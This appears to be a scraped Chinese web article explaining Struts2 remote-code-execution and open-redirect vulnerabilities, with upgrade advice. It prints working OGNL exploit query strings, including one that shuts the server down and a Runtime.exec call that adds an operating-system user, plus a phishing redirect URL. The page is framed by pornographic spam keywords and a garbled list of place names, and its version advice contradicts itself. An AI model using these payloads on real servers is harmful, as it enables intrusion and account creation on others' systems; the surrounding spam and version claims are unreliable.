最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

struts2安全漏洞分析

  發(fā)布時間:2016-08-20 09:05:00   作者:佚名   我要評論
Struts2是apache項目下的一個web 框架,普遍應用于阿里巴巴、京東等互聯(lián)網(wǎng)、政府、企業(yè)門戶網(wǎng)站

在2013年6月底發(fā)布的Struts 2.3.15版本被曝出存在重要的安全漏洞 ,主要問題如下:

可遠程執(zhí)行服務器腳本代碼

用戶可以構造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}鏈接,command goes here可以換成是破壞腳本的路徑和參數(shù),比如fdisk -f等,造成破環(huán)系統(tǒng)無法運行的目的。

重定向漏洞

用戶可以構造如知名網(wǎng)站淘寶的重定向連接,形如<a href="http://www.淘寶.com/item00001.html?redirect:http://黑客/getyourPassword">打折新款</a>,引導用戶點擊后進入釣魚網(wǎng)站,在界面上讓其進行登陸用以獲取用戶的密碼。

造成的影響:
蘋果、中國移動、中國聯(lián)通、百度、騰訊、淘寶、京東、Sohu、民生銀行等大型企業(yè)的網(wǎng)站均遭毒手,運維 工程師苦不堪言。

應對措施:

Apache團隊緊急發(fā)布了Struts 2.3.15.1安全更新版本,可升級到此版本來解決上述問題。

struts2漏洞攻擊方法與解決方案

1、原理
Struts2的核心是使用的webwork框架,處理 action時通過調(diào)用底層的getter/setter方法來處理http的參數(shù),它將每個http參數(shù)聲明為一個ONGL(這里是ONGL的介紹)語句。當我們提交一個http參數(shù):

?user.address.city=Bishkek&user['favoriteDrink']=kumys 
ONGL將它轉(zhuǎn)換為:

復制代碼
代碼如下:

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

這是通過ParametersInterceptor(參數(shù)過濾器)來執(zhí)行的,使用用戶提供的HTTP參數(shù)調(diào)用 ValueStack.setValue()。
為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數(shù)名中出現(xiàn)“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執(zhí)行的值:

此處代碼有破壞性,請在測試環(huán)境執(zhí)行,嚴禁用此種方法進行惡意攻擊

復制代碼
代碼如下:

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

轉(zhuǎn)義后是這樣:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

OGNL處理時最終的結果就是
java.lang.Runtime.getRuntime().exit(1);  //關閉程序,即將web程序關閉

類似的可以執(zhí)行
java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增加操作系統(tǒng)用戶,在有權限的情況下能成功(在URL中用%20替換空格,%2F替換/)
只要有權限就可以執(zhí)行任何DOS命令。

2、解決方法
網(wǎng)上很多文章都介紹了三種解決方法,個人覺得將struts2的jar包更新到最新版本最簡單,不用更改任何程序代碼,目前最新版本2.3.4

下載到的更新包中有很多jar包,我系統(tǒng)中主要用到以下幾個替換掉舊版本的:
commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar        (新加包)
ognl-3.0.5.jar            (替換舊版本)
struts2-core-2.3.4.1.jar    (替換舊版本)
xwork-core-2.3.4.1.jar        (替換舊版本)

本文大部分內(nèi)容復制于其他文章:
http://my-corner.iteye.com/blog/720209

相關文章

最新評論

罗定市| 江西省| 昌乐县| 龙南县| 安阳县| 黔东| 遂平县| 龙南县| 康平县| 陇南市| 营山县| 峨山| 望奎县| 都安| 拉萨市| 武义县| 皋兰县| 偃师市| 达拉特旗| 东源县| 什邡市| 大足县| 无极县| 耒阳市| 河源市| 谢通门县| 吉木乃县| 博兴县| 上栗县| 呼伦贝尔市| 桐乡市| 庆云县| 五常市| 龙海市| 赤峰市| 曲阳县| 陕西省| 连城县| 法库县| 蓬溪县| 诸城市|